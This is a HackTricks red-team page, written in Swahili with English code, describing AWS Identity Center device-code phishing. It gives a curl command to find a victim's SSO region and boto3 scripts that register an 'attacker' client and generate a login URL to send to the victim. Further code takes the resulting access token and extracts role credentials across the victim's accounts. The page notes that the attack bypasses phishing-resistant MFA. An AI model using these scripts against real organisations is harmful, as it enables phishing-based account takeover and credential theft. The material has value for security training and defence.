AWS - Identity Center & SSO Unauthenticated Enum

Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Udukuzi wa Kanuni ya Kifaa cha AWS

Awali ilipendekezwa katika chapisho hili la blogi, inawezekana kutuma kiungo kwa mtumiaji kutumia AWS SSO ambayo ikiwa mtumiaji atakubali mshambuliaji ataweza kupata ishara ya kujifanya kuwa mtumiaji na kupata ufikiaji wa majukumu yote ambayo mtumiaji anaweza kupata katika Kituo cha Kitambulisho.

Ili kutekeleza shambulio hili, mahitaji ni:

  • Mvamizi anahitaji kutumia Kituo cha Kitambulisho

  • Mvamizi lazima ajue subdomain inayotumiwa na mwathiriwa <victimsub>.awsapps.com/start

Kwa habari hizi, mshambuliaji ataweza kutuma kiungo kwa mtumiaji ambayo ikikubaliwa itatoa mshambuliaji ufikiaji kwenye akaunti ya mtumiaji wa AWS.

Shambulio

  1. Kupata subdomain

Hatua ya kwanza ya mshambuliaji ni kugundua subdomain kampuni ya mwathiriwa inayotumia katika Kituo chao cha Kitambulisho. Hii inaweza kufanywa kupitia OSINT au kudhani + BF kwa sababu nyingi za kampuni zitatumia jina lao au mabadiliko ya jina lao hapa.

Kwa habari hii, inawezekana kupata eneo ambapo Kituo cha Kitambulisho kilikonfigurwa na:

curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
  1. Tengeneza kiungo kwa muathiriwa & Tuma

Chukua msimbo ufuatao ili kutengeneza kiungo cha kuingia kwenye AWS SSO ili muathiriwa aweze kujithibitisha. Kwa mfano, endesha msimbo huu kwenye konsoli ya python na usiitoke kwani baadaye utahitaji baadhi ya vitu kupata kibali:

import boto3

REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS

sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)

client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)

url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)
  1. Subiri mpaka mwathiriwa akubali

Ikiwa mwathiriwa alikuwa ameingia tayari kwenye AWS atahitaji tu kukubali kutoa ruhusa, ikiwa hakuwa ameingia, atahitaji kuingia kisha kukubali kutoa ruhusa. Hivi ndivyo dirisha la ombi linavyoonekana hivi sasa:

  1. Pata tokeni ya ufikiaji wa SSO

Ikiwa mwathiriwa amekubali ombi, endesha kanuni hii ili kupata tokeni ya ufikiaji wa SSO ukijifanya kuwa mtumiaji:

token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')

Tokeni ya ufikiaji wa SSO ni halali kwa masaa 8.

  1. Jifanye kuwa mtumiaji

sso_client = boto3.client('sso', region_name=REGION)

# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])

# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])

# Get credentials over a role

sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')

Kuwinda MFA isiyoweza kufikiwa

Ni furaha kujua kwamba shambulio la awali linafanya kazi hata kama "MFA isiyoweza kufikiwa" (webAuth) inatumika. Hii ni kwa sababu hatua ya awali kamwe haiachi kikoa cha OAuth kilichotumiwa. Sio kama katika mashambulio mengine ya kuwinda ambapo mtumiaji anahitaji kuchukua nafasi ya kikoa cha kuingia, katika kesi hii hatua ya msimbo wa kifaa imeandaliwa ili msimbo ujulikane na kifaa na mtumiaji anaweza kuingia hata kwenye mashine tofauti. Ikiwa ombi litakubaliwa, kifaa, kwa tu kujua msimbo wa awali, litaweza kupata vibali vya mtumiaji.

Kwa habari zaidi kuhusu hii angalia chapisho hili.

Zana za Kiotomatiki

Marejeo

Jifunze kuhusu kuhack AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Last updated